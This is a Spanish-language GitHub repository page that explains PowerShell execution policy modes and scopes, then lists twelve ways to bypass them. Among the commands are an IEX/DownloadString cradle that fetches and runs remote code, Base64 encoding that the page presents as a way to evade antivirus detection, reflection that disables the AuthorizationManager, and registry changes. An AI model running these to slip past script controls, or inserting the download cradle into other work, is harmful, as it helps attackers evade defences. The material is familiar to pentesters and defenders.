adrianlois / Bypass-PowerShell-ExecutionPolicy

Bypass PowerShell Execution Policy - Varias formas de eludir la política de ejecución de PowerShell

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Bypass PowerShell Execution Policy

Bypass PowerShell Execution Policy

Explicación de la política de ejecución PowerShell

La configuración de seguridad por defecto establecidas en PowerShell:

  • Por defecto, no se ejecutan los scripts al hacer doble clic sobre ellos.
  • Todos los scripts deben estar firmados digitalmente con un certificado digital de confianza por el sistema anfitrión para poder ser ejecutados.
  • Todos los scripts no pueden ser ejecutados solo por su nombre en una sesión PowerShell, se debe espeficar la ruta relativa o absoluta.
  • El código se ejecuta bajo el contexto del usuario.
  • El código que se descarga a través de un navegador web o a través de clientes de correo electrónico que marcan el archivo como descargado de internet en los metadatos del archivo, se bloqueará la ejecución del archivo a menos que se permita específicamente.

Estos ajustes de seguridad por defecto proporcionan las siguientes protecciones:

  • Control of Execution: Controlar el nivel de confianza para la ejecución de scripts.
  • Command Highjack: Evitar la inyección de comandos en el home de usuario.
  • Identity: Un script creado y firmado por un desarrollador en el que confío y/o firmado con un certificado de una Autoridad de Certificación de confianza.
  • Integrity: Los scripts no pueden ser modificados por un malware o un usuario malintencionado.

Microsoft puso mucho cuidado y atención en minimizar la superficie de ataque de PowerShell cuando un atacante intenta engañar a un usuario para que ejecute un script posiblemente malicioso. Una vez en el sistema las cosas cambian ya que estos controles no pueden proteger de:

  • Copiar y pegar el contenido del script en PowerShell.
  • Codificar el script en Base64 y ejecutarlo desde la línea de comandos como argumento del powershell.exe.
  • Introducir cada comando a mano y ejecutarlo.
  • Realizar cambios de la política de ejecución en el contexto del usuario de PowerShell.

script_bypass_ps_executionpolicy

Modos de la política de ejecución (ExecutionPolicy)

Para controlar la validación de los scripts y cmdlets, se utiliza el cmdlet Set-ExecutionPolicy. Hay varias políticas que se pueden utilizar:

Set-ExecutionPolicy

  • Restricted: No se puede ejecutar ningún script local, remoto o descargado en el sistema.
  • AllSigned: Todas las secuencias de comandos que se ejecuten deben estar firmadas digitalmente por un usuario o entidad de confianza.
  • RemoteSigned: Todos los scripts remotos (rutas UNC) o descargados necesitan estar firmados.
  • Unrestricted: No es necesario firmar ningún script, todas las restricciones anteriores estarían deshabilitadas.

Tipos de ámbitos de la política de ejecución (Scopes)

Cada una de estas políticas puede aplicarse a diferentes ámbitos para controlar a quién afectan, esto se especifica con el parámetro -Scope:

  • MachinePolicy: La política de ejecución se establece por una Política de Grupo para todos los usuarios.
  • UserPolicy: La política de ejecución se establece por una Política de Grupo para el usuario actual.
  • Process: La política de ejecución se establece para el proceso actual de Windows PowerShell.
  • CurrentUser: La política de ejecución se establece para el usuario actual.
  • LocalMachine: La política de ejecución se establece para todos los usuarios.

Para obtener las directivas de ejecución de la sesión actual. Get-ExecutionPolicy

get_bypass_ps_executionpolicy

Bypass PowerShell Execution Policy: Varias formas de eludir la política de ejecución de PowerShell

1. Copiar y pegar el script o cargar las funciones directamente en una consola interactiva de PowerShell

1_bypass_ps_executionpolicy

2. Leer la secuencia de comandos de un archivo y canalizar la salida a una entrada estándar de PowerShell

Get-Content .\BypassEP.ps1 | powershell.exe -noprofile -
type .\BypassEP.ps1 | powershell.exe -noprofile -

2_bypass_ps_executionpolicy

3. Leer la secuencia de comandos de un archivo y canalizarla al comando Invoke-Expression

Get-Content .\BypassEP.ps1 | Invoke-Expression

Comando corto

gc .\BypassEP.ps1 | iex

3_bypass_ps_executionpolicy

4. Usar el parámetro ScriptBlock con Invoke-Command donde se lee el script desde un archivo y se canaliza a Invoke-Expression

Invoke-Command -ScriptBlock { Get-Content .\BypassEP.ps1 | IEX }

4_bypass_ps_executionpolicy

5. Utilizar el parámetro EncodeCommand codificando el script en Base64 para evitar una posible detección por parte de los motores de AVs

$command = Get-Content BypassEP.ps1
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
PowerShell.exe -EncodedCommand $encodedCommand

Comando corto usando directamente la cadena codificada en Base64

  • -enc: EncodedCommand (descodifica un comando de PowerShell desde un proceso en ejecución)
PowerShell.exe -enc VwByAGkAdABlAC0ASABvAHMAdAAgACIARQBzAHQAbwAgAGUAcwAgAHUAbgAgAGIAeQBwAGEAcwBzACAAZABlACAAUABTACAARQB4AGUAYwB1AHQAaQBvAG4AIABQAG8AbABpAGMAeQAiAA==

5_bypass_ps_executionpolicy

6. Descargar el script desde una URL y ejecutarlo con Invoke-Expression

powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('URL')"
powershell -nop -c "IEX(Invoke-WebRequest -Uri 'URL' -UseBasicParsing).Content"
  • -nop: noprofile (ignora los comandos en el archivo de perfil)
  • -c: command (ejecuta una instrucción de comandos) 6_bypass_ps_executionpolicy

7. Desactivar la ExecutionPolicy cambiando el AuthorizationManager

Function Disable-ExecutionPolicy {($ctx = $executionContext.GetType().GetField("_context","NonPublic,Instance").GetValue($executionContext)).GetType().GetField("_authorizationManager","NonPublic,Instance").SetValue($ctx, (New-Object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ; .\BypassEP.ps1

7_bypass_ps_executionpolicy

8. Utilizar el flag "Bypass" de política de ejecución.

PowerShell.exe -ExecutionPolicy Bypass -File .\BypassEP.ps1
PowerShell.exe -exec Bypass -File .\BypassEP.ps1
  • -ExecutionPolicy Bypass o –exec BypassBypass: omitir/ignora la política de ejecución como Restringido, que restringe la ejecución de los scripts de PowerShell. 8_bypass_ps_executionpolicy

9. Utilizar el flag "Unrestricted" de política de ejecución.

PowerShell.exe -ExecutionPolicy Unrestricted -File .\BypassEP.ps1

9_bypass_ps_executionpolicy

10. Establecer la ExecutionPolicy para el ámbito del proceso

Set-ExecutionPolicy Bypass -Scope Process ; .\BypassEP.ps1

10_bypass_ps_executionpolicy

11. Establecer la ExecutionPolicy para el ámbito del usuario actual

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy Unrestricted ; .\BypassEP.ps1

11_bypass_ps_executionpolicy

12. Establecer la ExecutionPolicy para el ámbito del usuario actual a través del Registro de Windows

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
ExecutionPolicy = Unrestricted

12_bypass_ps_executionpolicy

About

Bypass PowerShell Execution Policy - Varias formas de eludir la política de ejecución de PowerShell

License:GNU General Public License v3.0


Languages

Language:PowerShell 100.0%